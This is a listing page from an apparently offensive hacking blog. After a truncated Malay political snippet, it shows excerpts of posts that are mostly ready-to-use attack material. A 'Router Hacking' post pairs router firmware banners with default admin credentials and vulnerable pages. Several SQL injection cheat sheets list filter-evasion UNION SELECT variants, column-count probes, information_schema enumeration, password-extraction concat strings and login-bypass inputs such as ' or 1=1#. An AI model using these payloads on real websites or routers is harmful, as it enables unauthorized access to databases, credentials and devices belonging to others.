Pada 28.4.2012 bersih 3.0 dan pakatan rakyat diketuai oleh pengerusi oleh ambiga dalangnya anuar ibrahim ketua atau wakil melayu untuk dipecah belahkan.bersih 3.0 dan bersih 2.0 akan tiba bersih 4.0. sama juga Bersih 2.0 dan Bersih 3.0 menjelang Bersih 4.0. lapan...
Router Hacking
Posted by Yoo Mee
Posted on 9:28:00 PM
with 2 comments
#HTTP BANNER=RomPager/4.07 UPnP/1.0
LOGIN=admin:admin
BUGS=wizard/wizardPPP.htm
HTTP BANNER=RomPager/4.51 UPnP/1.0
LOGIN=tmadmin:tmadmin/tmuser:tmuser
BUGS=wzWAN_ManualCfg.h...
[SQLi] Cheat Sheet
Posted by Yoo Mee
Posted on 9:24:00 PM
with No comments
group_concat(version(),0x3a,database())
##############################################
group_concat(schema_name)
from information_schema.schemata
##############################################
group_concat(table_name)
.tables where table_schema=database()
##############################################
group_concat(column_name)
.columns...
[SQLi] Template
Posted by Yoo Mee
Posted on 9:24:00 PM
with No comments
ADDRESS:
BUGS:
VERSION:
CURRENT DB:
DATABASE:
TABLE:
COLUMN:
COMMENT:
#
#...
[SQLi] Union Select/Union All Select
Posted by Yoo Mee
Posted on 9:07:00 PM
with No comments
/*!UnIoN*/+/*!aLl*/+/*!SeLeCt*/
UNION SELECT
/*!UNION*/ +/*!ALL*/+/*!SELECT*/
/*!UNION*/ /*!SELECT*/
uNiOn SeLeCt
id=1' /*!12345union*/ select
UNIunionON SEselectLECT
/!*unioN*/ /*!SeLECT*/
and 1=2 union select
/**//*!union*//**//*!sElect*//**//*!aLl*//**/
/*!union*/+/*!select*/+/*!all*/
union...
[SQLi] Order By
Posted by Yoo Mee
Posted on 9:07:00 PM
with No comments
AND substring(version(),1,1)=5
'+order+by+1
"+order+by+1/*
'+order+by+1'--
+order+by+1/*
'+or+1=1+order+by+999/*
'+or+'a'='a+order+by+999/*
+or+1=1/*+order+by+99...
[SQLi] Group Concat
Posted by Yoo Mee
Posted on 9:06:00 PM
with No comments
CoNcAt(version())
Group_Concat(table_name)
/*!group_concat(table_name)*/
/*!table_name*/
concat_ws(0x3a,user,password,host)
unhex(hex(concat_ws(0x3a,login,password )))
+or+1+group+by+con...
[SQLi] From Information Schema
Posted by Yoo Mee
Posted on 9:06:00 PM
with No comments
/**//*!from*//**//*!information_schema.tables*//**//*!where*//**//*!table_schema=database()*/--+-
from /*!information_schema*/.tables
/*!from*/ /*!InfoRmation_SCHEMa*/.`tables`
information_schema.tables LIMIT 1 OFFSET 44
information_schema.columns where table_name=CHAR(105,...
[SQLi] And/Or
Posted by Yoo Mee
Posted on 9:05:00 PM
with No comments
+and 1=0-- -
+and 1=1-- -
+and '1'='1
+order+by+99999
+or+1=2
+and+1=2
'
"
\
/*
--+-
/**/
#####
'/*
"/*
'--
"--
';
";
--
;
‘ or 1=1#
‘ or 1=1–+-
‘ or 1=1/* (MySQL < 5.1)
' or 1=1;
' or 1=1 union select 1,2 as `
' or#newline
1='1
' or– -newline
1='1
' /*!50000or*/1='1
'...